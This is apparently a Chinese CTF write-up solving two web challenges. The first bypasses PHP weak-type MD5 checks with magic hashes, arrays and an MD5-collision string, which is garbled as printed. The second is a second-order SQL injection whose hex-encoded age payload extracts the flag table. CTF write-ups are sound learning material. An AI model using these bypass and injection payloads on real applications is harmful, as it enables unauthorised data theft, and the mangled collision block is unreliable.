Web签到
提交 param1 ,param2 两个参数,总共三关,考察 php 弱类型,和极客大挑战的题目一样
第一关:
标准弱类型,两个0e开头md5绕过:
1 | param1=QNKCDZO¶m2=240610708 |
或者数组绕过
1 | param1[]=a¶m2[]=b |
第二关:
依旧数组绕过:
1 | param1[]=a¶m2[]=b |
第三关:
强制转换成字符串,不能用数组绕过,想到 md5 碰撞,即两个不同的字符串的 md5值相同
1 | param1= D11 DD02 C5 E6 EE C4i3D9A0698 AF F95C2F CA B58712F7E AB4004X3E B8 FB7F89U AD40609 F4 B30283 E4888325qAZ08Q25 E8 F7 CD C99F D91D BD F28073C5B D8823E1V48F5B AEm AC D46 C919 C6 DDS E2 B487 DA03 FD029c06 D2H CD A0 E99F3B0FW7E E8 CET B6p80 A80D1E C69821 BC B6 A8839396 F9e2Bo F72Ap |
具体可以参见这篇文章:MD5 collision
二进制块转换成字符串后再 url 编码
Three hit
二次注入
注册将用户名,密码,年龄写入数据库,登录过后将年龄显示出来
思路:每次注册一个用户,注入点放进age,登录查看
注册提交age显示只能为数字,age用16进制提交,16进制提交不会对%23url解码,所以用–代替
payload:username=Str3am1&age=0x2d3636363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c322c332c34206c696d697420312c312d2d&password=1
因为每次都会将年龄写入数据库里面,所以每次都需要修改年龄的值username=Str3am11&age=0x2d36363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167292c332c34206c696d697420312c312d2d&password=1
总结
两天比赛,团队总成绩136名,比赛过程很艰辛,但是收获颇丰,遗憾的是只做出了两道题,还是太菜了,以后坚持赛后写wp,对自己也是一种锻炼。